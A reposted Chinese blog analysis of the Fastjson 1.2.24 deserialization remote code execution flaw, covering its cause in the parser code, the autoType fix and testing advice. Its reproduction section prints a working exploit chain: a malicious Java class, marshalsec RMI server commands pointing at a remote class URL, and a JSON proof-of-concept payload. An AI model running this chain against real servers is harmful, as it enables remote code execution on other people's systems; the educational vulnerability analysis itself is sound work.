我是靠谱客的博主 缥缈吐司,最近开发中收集的这篇文章主要介绍Fastjson源码分析—1.2.24漏洞分析,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

2021SC@SDUSC
前面的文章中已经分析了Fastjson反序列化的相关代码,涉及的方面很多、覆盖面也很全。可以看到,Fastjson是一款非常好的Json字符串反序列化工具,高效、简洁、无依赖、可定制。然而,高效的Json解析也给它带来了风险,最大的问题莫过于几年前爆出的1.2.24版本的远程代码执行漏洞,该漏洞现在已经修复,本篇文章将分析这个漏洞产生的原因,复现方式以及解决方案,还尝试从工具开发者的角度探讨如何避免此类漏洞的发生。

目录

      • 漏洞复现
      • 产生原因
        • 技术背景
        • 代码分析
      • 解决方案
      • 如何避免此类问题发生

漏洞复现

我们尝试让远程主机在它的/tmp目录下创建一个success文件,过程如下:
先写一个恶意Java类,该类的静态代码区中创建一个文件/tmp/success,代码如下

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}


我们把这个类编译,将生成的TouchFile.class文件放到局域网中某个地址的www目录下,访问该地址即可下载文件。
在这里插入图片描述
然后我们再启动一个RMI服务器,监听指定端口,定制加载远程类TouchFile.class
mvn clean package -DskipTests
编译项目
在这里插入图片描述
会生成以下这个文件
在这里插入图片描述

执行以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.99.127
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.99.121:4444/#TouchFile” 9999

/#TouchFile" 9999

最后一步,抓包并执行我们准备好的poc:

POST / HTTP/1.1
Host: 192.168.99.100:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.99.121:9999/TouchFile",
        "autoCommit":true
    }
}


再看看服务端的结果:
在这里插入图片描述

显然,成功执行了远程代码并且生产了success文件。

产生原因

技术背景

JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范。JavaBean的特征:

提供一个默认的无参构造函数。

需要被序列化并且实现了 Serializable 接口。

可能有一系列可读写属性。

可能有一系列的 getter 或 setter 方法。

代码分析

Fastjson通过parseObject方法解析传入的json数据。
调用DefaultJSONParser缺省方法对json格式数据进行解析。
在这里插入图片描述

在方法的参数中,调用ParserConfig.getGlobalInstance()方法获取ParserConfig类中的初始配置,其中黑名单(denyList)也在此类中进行配置。
在这里插入图片描述

调用addDeny方法循环添加denyList数组中的黑名单。
回到DefaultJSONParser方法,初始化结束后,调用JSONScanner方法对传入的json字符串设置读取位置,判断过程中处理Unicode字符集的BOM标识。回到DefaultJSONParser方法,为token赋值。
在这里插入图片描述
回到JSON入口类,获取到DefaultJSONParser类型对象,调用parse()方法进行解析。
在这里插入图片描述
调用scanSymbol方法,以双引号作为quote变量值,进行@typejson字段值的value读取。
在这里插入图片描述
再调用JavaBeanDeserializer#parseRest方法,通过token值进入对应的代码块,从生成的sortedFieldDeserializers反序列化器中取出field反序列化器,并从取出属性值。
在RegistryImpl_Stub#lookup方法中,调用ref.newCall方法获取基于ref的RemoteCall类型的远程调用对象。并将访问远程rmi服务上的类名进行序列化,调用invoke方法传给远程服务。
在这里插入图片描述
之后将从远程获取的序列化数据进行反序列化,执行恶意序列化中的恶意命令。
在这里插入图片描述

解决方案

由于本漏洞是利用了Fastjson自带的Autotype属性,而Fastjson的设计者已经提供了关闭该服务的接口,我们只需要执行以下配置:

parserConfig.autoType.close();

即可让该漏洞无法复现

如何避免此类问题发生

作为程序的开发者,我们不仅要仔细完成编码工作,解决程序的功能需求和性能需求,更重要的是我们要对自己编写的程序进行测试。对于此类问题,我们既要完成单元测试——测试各个模块是否能独立工作,也要完成集成测试——测试各个模块能否共同作用完成相关功能。最后,不忘系统测试,这里介绍一种方法——黑盒测试法。我们可以把自己写的程序看作是一个黑盒,只关系我们程序的输入和输出,而先忽略其内部结构。然后等价划分多个测试用例,每个测试用例代表一类测试方案,其中既有合法输入也有非法输入,我们观测程序的输出结果,与我们的预期结果相比对。这样就能够快速发现我们程序中存在的漏洞。

最后

以上就是缥缈吐司为你收集整理的Fastjson源码分析—1.2.24漏洞分析的全部内容,希望文章能够帮你解决Fastjson源码分析—1.2.24漏洞分析所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(36)

评论列表共有 0 条评论

立即
投稿
返回
顶部